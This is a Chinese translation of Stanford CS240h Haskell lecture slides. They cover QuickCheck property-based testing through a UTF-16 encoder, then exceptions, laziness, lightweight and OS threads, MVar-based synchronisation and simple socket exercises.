斯坦福-CS240h-Haskell-中的功能系统-全-

斯坦福 CS240h：Haskell 中的功能系统（全）

你好，世界

我是 Bryan O'Sullivan。

我在 Facebook 工作。

之前，我创办了一家公司，其中一半产品是用 Haskell 构建的。

我写了一本关于 Haskell 的书。

我写了一些 Haskell 库。

让我们谈谈测试

有任何教授曾经和你谈过测试吗？

工业中的测试

对于测试软件，有几种“最先进”的方法：

Excel 电子表格上满满的手工操作（我没有编造这个）
单元测试
集成测试
模糊测试

我对什么感兴趣？

今天，我想谈谈单元测试及其更有趣的后代。

无耻地从维基百科借鉴：

public class TestAdder { public void testSum() { Adder adder = new AdderImpl(); assert(adder.add(1, 1) == 2); assert(adder.add(1, 2) == 3); assert(adder.add(2, 2) == 4); assert(adder.add(0, 0) == 0); assert(adder.add(-1, -2) == -3); assert(adder.add(-1, 1) == 0); assert(adder.add(1234, 988) == 2222); } }

问题出在哪里？

计算下面的测试用例数量。

public class TestAdder { public void testSum() { Adder adder = new AdderImpl(); assert(adder.add(1, 1) == 2); assert(adder.add(1, 2) == 3); assert(adder.add(2, 2) == 4); assert(adder.add(0, 0) == 0); assert(adder.add(-1, -2) == -3); assert(adder.add(-1, 1) == 0); assert(adder.add(1234, 988) == 2222); } }

好吧，不要。是 7。

单元测试的限制

单元测试只在一定程度上有用。

你的耐心和想出恶劣边界情况的能力是非常有限的。

最好明智地使用它们。

但是怎么做呢？

外包

对于耐心，我们有计算机。

对于恶劣的边界情况，我们有随机数生成器。

让我们把它们用起来。

一个简单的例子：UTF-16 编码

UTF-16 是一种 Unicode 编码，它：

获取一个代码点（一个 Unicode 字符）
将其转换为 1 或 2 个 16 位代码单元

变长编码：

0x10000 以下的代码点被编码为单个代码单元
在 0x10000 及以上，两个代码单元

编码单个代码点

我们知道 Char 表示一个 Unicode 代码点。

Word16 类型表示一个 16 位值。

import Data.Word (Word16)

encodeChar 的类型签名应该是什么？

encodeChar :: ???

基本情况很容易

我们可以很容易地将单代码单元的情况转换为一些 Haskell，使用一些方便的函数。

import Data.Char (ord) ord :: Char -> Int fromIntegral :: (Integral a, Num b) => a -> b

我们使用 fromIntegral 将 Int 转换为 Word16，因为 Haskell 不会为我们明确强制转换。

encodeChar :: Char -> [Word16] encodeChar x | w < 0x10000 = [fromIntegral w] where w = ord x

两个代码单元的情况

要编码大于 0x10000 的代码点，我们需要一些新的位操作函数。

import Data.Bits ((.&.), shiftR)

.&. 运算符给我们位运算与，而 shiftR 是右移。

encodeChar :: Char -> [Word16] encodeChar x | w < 0x10000 = [fromIntegral w] | otherwise = [fromIntegral a, fromIntegral b] where w = ord x a = ((w - 0x10000) `shiftR` 10) + 0xD800 b = (w .&. 0x3FF) + 0xDC00

基本测试

如果你想要单元测试，HUnit 是你需要的包。

import Test.HUnit (assertEqual) testASCII = assertEqual "ASCII encodes as one code unit" 1 (length (encodeChar 'a'))

一个糟糕的测试

让我们故意写一个虚假的测试。

badTest = do assertEqual "sestertius encodes as one code unit" 1 (length (encodeChar '\x10198'))

如果我们在 ghci 中运行这个：

ghci> badTest *** Exception: HUnitFailure "sestertius encodes as one code unit\nexpected: 1\n but got: 2"

不太美观，但有效。

但等等：单元测试？

所以我只是写了单元测试，现在我要向你展示如何编写它们？

好吧，我们可以推广超出单元测试的限制。

一个更大图景的代理

我们真正想要这个测试做什么？

testASCII = do assertEqual "ASCII encodes as one code unit" 1 (length (encodeChar 'a'))

我们真的在断言每个 ASCII 代码点都编码为单个代码单元。

testOne char = do assertEqual "ASCII encodes as one code unit" 1 (length (encodeChar char))

嗯：更好了吗？

如果我们参数化我们的测试会怎样：

testOne char = do assertEqual "ASCII encodes as one code unit" 1 (length (encodeChar char))

并从一个测试框架中驱动它：

testASCII = mapM_ testOne ['\0'..'\127']

盘点

这更好，因为我们的原始测试被泛化了。

这也更糟，因为我们正在详尽列举每一个测试输入。

我们在这里得以成功是因为 Unicode 很小，计算机很快。

但这是事情的原则：自动化更好！

进入 QuickCheck

忘掉 HUnit，这是我们将专注的包。

import Test.QuickCheck prop_encodeOne c = length (encodeChar c) == 1

在 ghci 中：

ghci> quickCheck prop_encodeOne +++ OK, passed 100 tests.

刚刚发生了什么？

为什么 quickCheck 会这样说：

+++ OK, passed 100 tests.

它做了以下事情：

生成了 100 个随机值给我们
将每个传递给 prop_encodeOne
确保每个测试都通过了

现在我头疼了

让我们回顾一下我们的“测试函数”：

prop_encodeOne c = length (encodeChar c) == 1

这是非常可疑的。

我们知道 encodeChar 有时会产生长度为 2 的列表。

那么我们的 100 次测试为什么通过了？

从小开始

对于大多数类型，QuickCheck 操作的一个方便的假设是“小”测试用例比大的更有用。

当小的随机输入测试通过时，它会生成“更大”的输入。

只进行 100 次测试，我们几乎不可能生成一个编码为两个代码单元的代码点。

幕后：生成值

QuickCheck 到底是如何做到的？

它需要能够生成随机值。

它通过类型类实现这一点。

-- Generator type. data Gen a -- The set of types for which we -- can produce random values. class Arbitrary a where  arbitrary :: Gen a

幕后：一些机制

-- Generate a random value within a range. choose :: Random a => (a,a) -> Gen a instance Arbitrary Bool where arbitrary = choose (False,True) instance Arbitrary Char {- ... -}

幕后：可测试的事物

-- Simply protection for a Gen. data Property = MkProperty (Gen a) -- The set of types that can be tested. class Testable prop -- The instance bodies are not interesting. instance Testable Bool instance (Arbitrary a, Show a, Testable prop) => Testable (a -> prop)

上面的两个实例至关重要。

这是如何工作的？

让我们用一个类型签名来编写我们的测试函数。

prop_encodeOne :: Char -> Bool prop_encodeOne c = length (encodeChar c) == 1

而 quickCheck：

quickCheck :: Testable prop => prop -> IO ()

再看一遍

如果 quickCheck 接受 prop_encodeOne，那么后者必须是 Testable 的一个实例。

prop_encodeOne :: Char -> Bool quickCheck :: Testable prop => prop -> IO ()

但是如何？通过这两个实例。

-- Satisfied by the result type instance Testable Bool -- Satisfied by the argument and result instance (Arbitrary a, Show a, Testable prop) => Testable (a -> prop)

长话短说

如果我们向 quickCheck 传递一个函数，那么：

只要它的参数都是 Arbitrary 和 Show 的实例
并且只要其结果是 Testable 的一个实例

然后 quickCheck 可以：

生成所有必要类型的任意值，
对这些值运行我们的测试，
并确保我们的测试始终通过

那又怎样？

我们仍然有一个失败的测试！

quickCheck 告诉我们它总是通过---但实际上不应该！

为什么？我们必须阅读源代码。

module Test.QuickCheck.Arbitrary where instance Arbitrary Char where arbitrary = chr `fmap` oneof [choose (0,127), choose (0,255)]

哦，太好了，QuickCheck 只会生成 8 位字符。

我们假设它最终会生成足够大的输入对于 Char 是错误的。

因此我们的测试永远不会失败。

多么...不幸啊！

编写一个新的 Arbitrary 实例

现在我们面临一个挑战。

我们想要一个几乎与 Char 相同但具有不同 Arbitrary 实例的类型。

要创建这样一种类型，我们使用 newtype 关键字。

newtype BigChar = Big Char deriving (Eq, Show)

这个类型被命名为 BigChar；它的构造函数被命名为 Big。

我们使用 deriving 来重用底层 Char 类型的 Eq 实例，并生成一个新的 Show 实例。

接下来呢？

我们想要能够详细说明这一点：

instance Arbitrary BigChar where arbitrary = {- ... what? ... -}

最高的 Unicode 代码点是 0x10FFFF。

我们想要在这个范围内生成值。

我们之前看到过这个：

-- Generate a random value within a range. choose :: Random a => (a,a) -> Gen a

随机值：困难的方式

为了使用 choose，我们必须使 BigChar 成为 Random 的一个实例。

这是一个冗长的做法：

import Control.Arrow (first) import System.Random instance Random BigChar where random = first Big `fmap` random randomR (Big a,Big b) = first Big `fmap` randomR (a,b)

随机值：更容易

如果我们想避免上一张幻灯片中的样板代码，我们可以使用一个技巧：

GeneralizedNewtypeDeriving 语言扩展
这使得 GHC 可以自动为我们派生一些非标准的类型类实例，例如 Random。

{-# LANGUAGE GeneralizedNewtypeDeriving #-} import System.Random newtype BigChar = Big Char deriving (Eq, Show, Random)

我们所做的一切只是在上面的 deriving 子句中添加了 Random。
正如其名称所示，这仅适用于 newtype 关键字。

我们的实例，以及重新运行

一个带有主体的实例：

instance Arbitrary BigChar where arbitrary = choose (Big '0',Big '\x10FFFF')

一个解包 BigChar 值的新测试：

prop_encodeOne3 (Big c) = length (encodeChar c) == 1

让我们试一试：

ghci> quickCheck prop_encodeOne3 *** Failed! Falsifiable (after 1 test): Big '\317537'

太棒��！我们的失败的测试立即失败了...

...但它给了我们一个反例，一个我们的测试函数可靠失败的输入！

QuickCheck 的魔力

这里的美妙之处有几个方面：

我们编写一个简单的 Haskell 函数，接受一些输入并返回一个Bool
QuickCheck 为我们生成随机测试用例，并测试我们的函数
如果一个测试用例失败，它会告诉我们输入是什么

那又怎样？

单元测试方式：

一堆单元测试，是对一个主题的小变化

QuickCheck 方式：

你期望普遍成立的一个属性
自动、随机生成的测试输入
帮助您找出错误的反例

还有什么？

当测试失败时，随机输入存在问题：

它们通常是大的。
大的东西对人类来说很难处理。
大值通常需要更长时间来查看。

从一个随机失败的输入开始：

我们想找到导致测试失败的最小输入。

QuickCheck 称之为缩小。

微型实验室：缩小一个 BigChar

获取以下源文件：

curl -O http://cs240h.cs.stanford.edu/ShrinkChar.hs

使用ghci进行一些探究，为shrinkChar编写一个主体。

instance Arbitrary BigChar where arbitrary = choose (Big '0',Big '\x10FFFF') shrink (Big c) = map Big (shrinkChar c) -- Write a body for this. shrinkChar c = undefined

你有 5 分钟。

生成与过滤值

这里有两种不同的生成测试值的方法。

首先，直接生成它们（看看第 2 行）：

prop_encodeOne2 = do c <- choose ('\0', '\xFFFF') return $ length (encodeChar c) == 1

其次，生成任意值，但过滤以便只得到有意义的值：

-- These two are basically the same, modulo verbosity. prop_encodeOne4 (Big c) = (c < '\x10000') ==> length (encodeChar c) == 1 prop_encodeOne5 = do Big c <- arbitrary `suchThat` (< Big '\x10000') return $ length (encodeChar c) == 1

生成与过滤

通常更有效的方法是仅生成您需要的值，不进行任何过滤。

有时，通过过滤来识别好的值（通过过滤）比想出如何生成它们更容易。

如果 QuickCheck 必须生成太多失败suchThat或其他过滤器的值，它将放弃，并且可能不会运行您想要的测试数量。

为了效率和确保 QuickCheck 能够生成足够的值进行测试，值得尝试只生成好的值。

迷你实验室：更多代码！

获取以下源代码：

curl -O http://cs240h.cs.stanford.edu/Utf16.hs

写一个decodeUtf16的定义：

decodeUtf16 :: [Word16] -> [Char]

决定一些 QuickCheck 测试，编写它们，并运行它们。

你有 15 分钟。

调整测试的大小

测试数据生成器有一个隐含的大小参数，隐藏在Gen类型中。

QuickCheck 从生成小的测试用例开始；随着测试的进行，它会增加大小。

“大小”的含义是特定于Arbitrary实例的��求。

列表的Arbitrary实例将其解释为“任意值列表的最大长度”。

我们可以使用sized函数找到当前大小，并使用resize在本地修改它：

sized :: (Int -> Gen a) -> Gen a resize :: Int -> Gen a -> Gen a

提升

我们现在应该对Functor类很熟悉了：

class Functor f where  fmap :: (a -> b) -> f a -> f b

这将一个纯函数“提升”到函子f中。

一般来说，“提升”将一个概念转化为在不同（有时更一般）环境中工作的方式。

例如，我们也可以使用Monad类定义函数的提升：

liftM :: (Monad m) => (a -> b) -> m a -> m b liftM f action = do b <- action return (f b)

fmap 和 liftM

注意类型签名之间的相似之处：

fmap :: (Functor f) => (a -> b) -> f a -> f b liftM :: (Monad m) => (a -> b) -> m a -> m b

所有的Monad实例都可能是Functor的实例。理想情况下，它们应该相互定义：

class (Functor m) => Monad m where {- blah blah -}

由于历史原因，这两个类是分开的，因此我们为它们编写单独的实例，然后重用代码：

instance Monad MyThingy where {- whatever -} instance Functor MyThingy where fmap = liftM

为什么会出现这样的离题？

原来将纯函数提升到单子中是非常常见的。

事实上，Control.Monad为我们定义了一堆额外的组合子。

liftM2 :: (Monad m) => (a -> b -> c) -> m a -> m b -> m b liftM2 f act1 act2 = do a <- act1 b <- act2 return (f a b)

这些组合子一直延伸到liftM5。

看起来熟悉吗？有用吗？

一个更紧凑的任意实例

之前：

data Point a = Point a a instance (Arbitrary a) => Arbitrary (Point a) where arbitrary = do x <- arbitrary y <- arbitrary return (Point x y)

之后：

import Control.Monad (liftM2) instance (Arbitrary a) => Arbitrary (Point a) where arbitrary = liftM2 Point arbitrary arbitrary

微型实验室：收缩一个点

QuickCheck 为我们提供了收缩元组的机制。

利用这个机制来收缩一个Point。

curl -O http://cs240h.cs.stanford.edu/TestPoint.hs

花 3 分钟。

import Control.Monad import Test.QuickCheck data Point a = Point a a deriving (Eq, Show) instance (Arbitrary a) => Arbitrary (Point a) where arbitrary = liftM2 Point arbitrary arbitrary -- TODO: provide a body for shrink shrink = undefined

测试递归数据类型

假设我们有一个树类型：

data Tree a = Node (Tree a) (Tree a) | Leaf a deriving (Show)

这里是一个明显的Arbitrary实例：

instance (Arbitrary a) => Arbitrary (Tree a) where arbitrary = oneof [ liftM Leaf arbitrary , liftM2 Node arbitrary arbitrary ]

oneof组合子随机选择一个生成器。

oneof :: [Gen a] -> Gen a

怎么了，医生？

潜在的麻烦：

这个生成器可能根本不会终止！
它可能会产生巨大的树。

我们可以使用sample函数生成并打印一些任意数据。

sample :: (Show a) => Gen a -> IO ()

这有助于我们探究发生了什么。

一个更安全的实例

这就是尺寸机制拯救的地方。

instance (Arbitrary a) => Arbitrary (Tree a) where arbitrary = sized tree tree :: (Arbitrary a) => Int -> Gen (Tree a) tree 0 = liftM Leaf arbitrary tree n = oneof [ liftM Leaf arbitrary , liftM2 Node subtree subtree ] where subtree = tree (n `div` 2)

这一切的目的是什么

QuickCheck 相当不错。花时间学会如何使用它。

学会很好地使用它比单元测试更难，但回报丰厚。

此外：

我们真的希望看到您在未来的实验和最终项目中提供 QuickCheck 测试。

愉快！

异常。

我们已经看到一些“返回”任何类型的函数。
```
undefined :: a error :: String -> a
```
- 返回类型可以是任意的，因为函数实际上并不返回。
这些函数抛出语言级别的异常。
- 要直接使用异常，请按照以下方式导入Control.Exception：
```
import Prelude hiding (catch) -- not necessary with new GHCs import Control.Exception
```
- 旧的Prelude有一个旧的、不太通用的catch版本，你应该避免使用。
  
  （hiding关键字阻止特定符号的导入）
- Control.Exception让你可以访问以下符号：
```
class (Typeable e, Show e) => Exception e where ... throw :: Exception e => e -> a throwIO :: Exception e => e -> IO a catch :: Exception e => IO a -> (e -> IO a) -> IO a
```

简单示例。

{-# LANGUAGE DeriveDataTypeable #-} import Prelude hiding (catch) import Control.Exception import Data.Typeable data MyError = MyError String deriving (Show, Typeable) instance Exception MyError catcher :: IO a -> IO (Maybe a) catcher action = fmap Just action `catch` handler where handler (MyError msg) = do putStrLn msg; return Nothing

*Main> catcher $ readFile "/dev/null" Just "" *Main> catcher $ throwIO $ MyError "something bad" something bad Nothing

需要DeriveDataTypeable语言扩展（稍后讲座）。
handler的类型无法推断（使用构造函数或类型签名）。
- 构造模式e@(SomeException _)捕获所有异常。

纯代码中的异常。

先前的示例在 IO 操作周围包裹了catcher。
可以在纯代码中throw异常，但只能在IO中catch它们。
- 这是因为评估顺序取决于实现。
- (error "one") + (error "two")会抛出哪个错误？
  
  可能是非确定性的，如果catch限制在IO Monad 中，则可以接受。

在IO中，使用throwIO（而不是throw）使异常序列精确。

 do x <- throwIO (MyError "one") -- this exception thrown y <- throwIO (MyError "two") -- this code not reached return $ x + y

通常只在无法使用throwIO时使用throw。

纯异常对于错误和未实现的代码非常有用，例如：

-- Simplified version of functions in standard Prelude: error :: String -> a error a = throw (ErrorCall a) undefined :: a undefined = error "Prelude.undefined"

异常和惰性。

考虑以下函数。

pureCatcher :: a -> IO (Maybe a) pureCatcher a = (a `seq` return (Just a)) `catch` \(SomeException _) -> return Nothing

pureCatcher $ 1 + 1 Just 2 *Main> pureCatcher $ 1 `div` 0 Nothing *Main> pureCatcher (undefined :: String) Nothing

如果你这样做会发生什么？

*Main> pureCatcher (undefined:undefined :: String)

异常和惰性。

考虑以下函数。

pureCatcher :: a -> IO (Maybe a) pureCatcher a = (a `seq` return (Just a)) `catch` \(SomeException _) -> return Nothing

pureCatcher $ 1 + 1 Just 2 *Main> pureCatcher $ 1 `div` 0 Nothing *Main> pureCatcher (undefined :: String) Nothing

如果你这样做会发生什么？

*Main> pureCatcher (undefined:undefined :: String) Just "*** Exception: Prelude.undefined

异常和惰性。

考虑以下函数。

pureCatcher :: a -> IO (Maybe a) pureCatcher a = (a `seq` return (Just a)) `catch` \(SomeException _) -> return Nothing

pureCatcher $ 1 + 1 Just 2 *Main> pureCatcher $ 1 `div` 0 Nothing *Main> pureCatcher (undefined :: String) Nothing

如果你这样做会发生什么？

*Main> pureCatcher (undefined:undefined :: String) Just "*** Exception: Prelude.undefined

catch只在实际评估 thunks 时才捕获异常！

异常和惰性继续。

评估列表不会评估头部或尾部。
```
*Main> seq (undefined:undefined) () ()
```
- 只评估构造函数（即(:)或[]）。
练习：强制评��列表的每个元素。
- 编写具有以下签名的类似于seq的函数，它在评估第二个参数之前评估列表的每个元素。
```
seqList :: [a] -> b -> b
```
```
*Main> seqList [1, 2, 3] () () *Main> seqList [1, 2, 3, undefined] () *** Exception: Prelude.undefined
```

解决方案。

seqList :: [a] -> b -> b seqList [] b = b seqList (a:as) b = seq a $ seqList as b

注意，库中有一个名为deepseq的函数，可以为许多常见数据类型执行此操作。

还有一些异常函数。

try通常返回Right a，如果发生异常则返回Left e。
```
try :: Exception e => IO a -> IO (Either e a)
```

finally和onException运行清理操作。

finally :: IO a -> IO b -> IO a -- cleanup always onException :: IO a -> IO b -> IO a -- after exception

清理操作（b）的结果被丢弃。

catchJust仅捕获与值上的谓词匹配的异常。

catchJust :: Exception e => (e -> Maybe b) -> IO a -> (b -> IO a) -> IO a readFileIfExists f = catchJust p (readFile f) (\_ -> return "") where p e = if isDoesNotExistError e then Just e else Nothing

*Main> readFileIfExists "/nosuchfile" "" *Main> readFileIfExists "/etc/shadow" *** Exception: /etc/shadow: openFile: permission denied ...

单子异常。

语言级别的异常对于非IO操作可能很麻烦。
- 非确定性很烦人。
- 经常希望在不假设IO单子的情况下检测错误。
- 许多建立在IO之上的单子也无法捕获异常。
通常最好在 Monad 中实现错误处理。
- 回想一下Maybe Monad，可以使用Nothing表示失败。
```
instance Monad Maybe where (Just x) >>= k = k x Nothing >>= _ = Nothing return = Just fail _ = Nothing
```
- 注意，在do块中绑定模式匹配失败时调用fail方法。
```
*Main> (do 1 <- return 2; return 3) :: Maybe Int Nothing
```

Haskell 线程

Haskell 在Control.Concurrent中实现了用户级线程
- 线程轻量级（在时间和空间上）
- 在其他语言中会使用更便宜的结构的地方使用线程
- 运行时以非阻塞的方式模拟阻塞的操作系统调用
- 线程切换可以在任何可能调用 GC 的时候发生

forkIO 调用创建一个新线程：

forkIO :: IO () -> IO ThreadId -- creates a new thread

还有一些非常有用的线程函数：

throwTo :: Exception e => ThreadId -> e -> IO () killThread :: ThreadId -> IO () -- = flip throwTo ThreadKilled threadDelay :: Int -> IO () -- sleeps for # of µsec myThreadId :: IO ThreadId

例子：超时

执行IO操作，或在µ秒数后中止
- System.Timeout有一个稍微好一点的版本的这个函数

data TimedOut = TimedOut UTCTime deriving (Eq, Show, Typeable) instance Exception TimedOut timeout :: Int -> IO a -> IO (Maybe a) timeout usec action = do -- Create unique exception val (for nested timeouts): expired <- fmap TimedOut getCurrentTime ptid <- myThreadId let child = do threadDelay usec throwTo ptid expired parent = do ctid <- forkIO child result <- action killThread ctid return $ Just result catchJust (\e -> if e == expired then Just e else Nothing) parent (\_ -> return Nothing)

`MVar`

MVar类型允许线程通过共享变量进行通信
- 一个MVar t是一个可变变量，类型为t，它可以是满的或者空的
```
newEmptyMVar :: IO (MVar a) -- create empty MVar newMVar :: a -> IO (MVar a) -- create full MVar given val takeMVar :: MVar a -> IO a putMVar :: MVar a -> a -> IO ()
```
- 如果一个MVar是满的，takeMVar会使其为空并返回以前的内容
- 如果一个MVar是空的，putMVar会用一个值填充它
- 取一个空的MVar或者放一个满的MVar会使线程进入睡眠状态，直到MVar变得可用
- 只有一个线程会被唤醒，如果有几个线程阻塞在同一个MVar上
- 还有MVar调用的非阻塞版本
```
tryTakeMVar :: MVar a -> IO (Maybe a) -- Nothing if empty tryPutMVar :: MVar a -> a -> IO Bool -- False if full
```

例子：乒乓球基准测试

import Control.Concurrent import Control.Exception import Control.Monad pingpong :: Bool -> Int -> IO () pingpong v n = do mvc <- newEmptyMVar -- MVar read by child mvp <- newEmptyMVar -- MVar read by parent let parent n | n > 0 = do when v $ putStr $ " " ++ show n putMVar mvc n takeMVar mvp >>= parent | otherwise = return () child = do n <- takeMVar mvc putMVar mvp (n - 1) child tid <- forkIO child parent n `finally` killThread tid when v $ putStrLn ""

*Main> pingpong True 10 10 9 8 7 6 5 4 3 2 1

旁注：基准测试

Bryan 有一个厉害的基准测试库 criterion

import Criterion.Main ... main :: IO () main = defaultMain [ bench "thread switch test" mybench ] where mybench = pingpong False 10000

$ ghc -O pingpong.hs [1 of 1] Compiling Main ( pingpong.hs, pingpong.o ) Linking pingpong ... $ ./pingpong ... benchmarking thread switch test mean: 3.774590 ms, lb 3.739223 ms, ub 3.808865 ms, ci 0.950 ...

20,000 次线程切换约为 3.8 毫秒 = 约为 190 纳秒/切换

操作系统线程

GHC 也有两个版本的 Haskell 运行时
- 默认情况下，所有的 Haskell 线程都在一个操作系统线程中运行
- 链接时加上 -threaded 来允许 OS 线程（pthread_create）
forkOS 调用创建一个 Haskell 线程绑定到一个新的操作系统线程上
```
forkOS :: IO () -> IO ThreadId
```
同样，当链接时使用 -threaded，初始线程是被绑定的
哇... 发生了什么？ -threaded慢了 30 倍？

$ rm pingpong $ ghc -threaded -O pingpong.hs Linking pingpong ... $ ./pingpong ... mean: 121.1729 ms, lb 120.5601 ms, ub 121.7044 ms, ci 0.950 ...

绑定与非绑定线程

没有-threaded，所有的 Haskell 线程都在一个操作系统线程中运行
- 线程切换基本上只是一个过程调用，即超级快速
-threaded引入了多个操作系统级线程
- 一些 Haskell 线程是绑定到特定的 OS 线程上的
- 非绑定的 Haskell 线程共享（并在之间迁移）操作系统线程
- 非绑定的 Haskell 线程和没有-threaded的性能相同
初始线程被绑定，所以我们实际上是在对 Linux 进行基准测试
- 可以用forkIO包装父线程使其变为非绑定状态
```
wrap :: IO a -> IO a wrap action = do mv <- newEmptyMVar _ <- forkIO $ (action >>= putMVar mv) `catch` \e@(SomeException _) -> putMVar mv (throw e) takeMVar mv
```
- 但是库有更好的函数runInUnboundThread

操作系统线程有什么用？

如果一个非绑定线程阻塞，可能会阻塞整个程序
- Unix 运行时试图避免阻塞系统调用，但无法避免像文件系统 IO 和页面交换之类的阻塞
- 还与外部函数接口（FFI）相关
- GHC 允许向 C 代码调用两种类型的调用，safe 和 unsafe
- 使用 -threaded，GHC 确保 safe FFI 调用在单独的 OS 线程中运行
- 未绑定线程中的 unsafe FFI 调用可能会阻塞其他线程
FFI 函数可能期望从同一线程调用
- 例如，从迁移的未绑定线程调用 pthread_getspecific 的外部代码可能会混淆
可能想要覆盖调度程序并在特定 CPU 上运行
- 例如，查看forkOn

异步异常

一些方便的 MVar 实用函数用于更新值
```
modifyMVar :: MVar a -> (a -> IO (a, b)) -> IO b modifyMVar_ :: MVar a -> (a -> IO a) -> IO ()
```
- 例如，"modifyMVar x (\n -> return (n+1, n))" 就像 C 中的 "x++"

你会如何实现 modifyMVar？

modifyMVar :: MVar a -> (a -> IO (a,b)) -> IO b modifyMVar m action = do v0 <- takeMVar m (v, r) <- action v0 `onException` putMVar m v0 putMVar m v return r

有人看到问题了吗？（提示：记住 throwTo，killThread）

异步异常

一些方便的 MVar 实用函数用于更新值
```
modifyMVar :: MVar a -> (a -> IO (a, b)) -> IO b modifyMVar_ :: MVar a -> (a -> IO a) -> IO ()
```
- 例如，"modifyMVar x (\n -> return (n+1, n))" 就像 C 中的 "x++"

你会如何实现 modifyMVar？

modifyMVar :: MVar a -> (a -> IO (a,b)) -> IO b modifyMVar m action = do v0 <- takeMVar m -- -------------- oops, race condition (v, r) <- action v0 `onException` putMVar m v0 putMVar m v return r

如果另一个线程在当前线程在 takeMVar 和 onException 之间时调用 killThread 会怎么样
几张幻灯片前的 timeout 和 wrap 函数存在相同问题

屏蔽异常

mask 函数可以规避这种竞争条件
```
mask :: ((forall a. IO a -> IO a) -> IO b) -> IO b
```
- 这是一个有趣的类型签名--使用了一个叫做 RankNTypes 的扩展。暂时忽略 "forall a."--只是使函数更灵活
- mask $ \f -> b 使用异步异常屏蔽运行动作 b
- 函数 f 允许再次为动作取消屏蔽异常
- 如果线程休眠（例如在 takeMVar 中），异常也会取消屏蔽

例如：修复 modifyMVar

modifyMVar :: MVar a -> (a -> IO (a,b)) -> IO b modifyMVar m action = mask $ \unmask -> do v0 <- takeMVar m -- automatically unmasked while waiting (v, r) <- unmask (action v0) `onException` putMVar m v0 putMVar m v return r

屏蔽异常（续）

forkIO 保留当前屏蔽状态
- 可以在子线程中使用 unmask 函数
例如：修复 wrap 函数

wrap :: IO a -> IO a -- Fixed version of wrap wrap action = do mv <- newEmptyMVar mask $ \unmask -> do tid <- forkIO $ (unmask action >>= putMVar mv) `catch` \e@(SomeException _) -> putMVar mv (throw e) let loop = takeMVar mv `catch` \e@(SomeException _) -> throwTo tid e >> loop loop

注意我们在父线程中不调用 unmask
- loop 在 takeMVar 上休眠，这会隐式取消屏蔽
- 在休眠时取消屏蔽通常是你想要的，但可以通过uninterruptibleMask来避免

`bracket` 函数

mask 很棘手，但库函数bracket简化了使用

bracket :: IO a -> (a -> IO b) -> (a -> IO c) -> IO c

例如：处理文件而不泄漏句柄

bracket (openFile "/etc/mtab" ReadMode) -- first hClose -- last (\h -> hGetContents h >>= doit) -- main

例如：修复我们 timeout 示例中的 parent 函数

 parent = do ctid <- forkIO child -- old code, result <- action -- bad if async killThread ctid -- exception return $ Just result

 parent = bracket (forkIO child) killThread $ -- new code \_ -> fmap Just action

使用 `MVar` 工作

MVar 作为互斥锁运行得很好：

-- type introduces type alias (like typedef in C) type Mutex = MVar () mutex_create :: IO Mutex mutex_create = newMVar () mutex_lock, mutex_unlock :: Mutex -> IO () mutex_lock = takeMVar mutex_unlock mv = putMVar mv () mutex_synchronize :: Mutex -> IO a -> IO a mutex_synchronize mv action = bracket (mutex_lock mv) (\_ -> mutex_unlock mv) (\_ -> action)

请注意任何人都可以解锁 Mutex，如果它被锁定
- 如果调用者没有持有锁，你会如何抛出断言失败？

替代 `Mutex`

使用完整的 MVar 而不是空的来表示锁已持有

type Mutex = MVar ThreadId mutex_create :: IO Mutex mutex_create = newEmptyMVar mutex_lock, mutex_unlock :: Mutex -> IO () mutex_lock mv = myThreadId >>= putMVar mv mutex_unlock mv = do mytid <- myThreadId lockTid <- tryTakeMVar mv unless (lockTid == Just mytid) $ error "mutex_unlock"

在 MVar 中存储锁所有者的 ThreadId

你会如何实现条件变量？
- 许多条件变量的用途不适用于异步异常
- 所以让我们不要为这个问题担心 mask...

条件变量

data Cond = Cond (MVar [MVar ()]) cond_create :: IO Cond cond_create = liftM Cond $ newMVar [] -- liftM is fmap for Monads (i.e., no required Functor instance): -- liftM f m1 = do x <- m1; return (f m1) cond_wait :: Mutex -> Cond -> IO () cond_wait m (Cond waiters) = do me <- newEmptyMVar modifyMVar_ waiters $ \others -> return $ others ++ [me] mutex_unlock m -- note we don't care if preempted after this takeMVar me `finally` mutex_lock m cond_signal, cond_broadcast :: Cond -> IO () cond_signal (Cond waiters) = modifyMVar_ waiters wakeone where wakeone [] = return [] wakeone (w:ws) = putMVar w () >> return ws cond_broadcast (Cond waiters) = modifyMVar_ waiters wakeall where wakeall ws = do mapM_ (flip putMVar ()) ws return []

关键思想：在MVar中放置MVar非常强大

通道

Control.Concurrent.Chan提供了无限制的通道

实现为两个MVar -- 用于读取和写入Stream的端点

data Item a = Item a (Stream a) type Stream a = MVar (Item a) data Chan a = Chan (MVar (Stream a)) (MVar (Stream a))

通道实现[简化]

data Item a = Item a (Stream a) type Stream a = MVar (Item a) data Chan a = Chan (MVar (Stream a)) (MVar (Stream a)) newChan :: IO (Chan a) newChan = do empty <- newEmptyMVar liftM2 Chan (newMVar empty) (newMVar empty) -- liftM2 is like liftM for functions of two arguments: -- liftM2 f m1 m2 = do x1 <- m1; x2 <- m2; return (f x1 x2) writeChan :: Chan a -> a -> IO () writeChan (Chan _ w) a = do empty <- newEmptyMVar modifyMVar_ w $ \oldEmpty -> do putMVar oldEmpty (Item a empty) return empty readChan :: Chan a -> IO a readChan (Chan r _) = modifyMVar r $ \full -> do (Item a newFull) <- takeMVar full return (newFull, a)

网络

在Network中有高级别的流（TCP 和 Unix 域）套接字支持

connectTo :: HostName -> PortID -> IO Handle listenOn :: PortID -> IO Socket accept :: Socket -> (Handle, HostName, PortNumber) sClose :: Socket -> IO () hClose :: Handle -> IO ()

练习：网络版的石头剪刀布。定义：

withClient :: PortID -> (Handle -> IO a) -> IO a

这个程序接受连接，进行单局游戏，然后退出

*Main> withClient (PortNumber 1617) (computerVsUser Rock)

$ nc localhost 1617 Please enter one of [Rock,Paper,Scissors] Rock You Tie

从上周的代码开始：wget cs240h.stanford.edu/rock2.hs

解决方案

withClient :: PortID -> (Handle -> IO a) -> IO a withClient listenPort fn = bracket (listenOn listenPort) sClose $ \s -> do bracket (accept s) (\(h, _, _) -> hClose h) $ \(h, host, port) -> do putStrLn $ "Connection from host " ++ host ++ " port " ++ show port fn h

练习

构建一个名为netrock的程序，让两个用户相互对战，并在一局游戏结束后退出

$ nc localhost 1617 Please enter one of [Rock,Paper,Scissors] Rock You Win

$ nc localhost 1617 Please enter one of [Rock,Paper,Scissors] Scissors You Lose

从这里开始：wget cs240h.stanford.edu/netrock.hs，实现：
```
netrock :: PortID -> IO ()
```
- 你可能会发现定义和使用以下内容很有用：
```
play :: MVar Move -> MVar Move -> (Handle, HostName, PortNumber) -> IO () play myMoveMVar opponentMoveMVar (h, host, port) = do
```
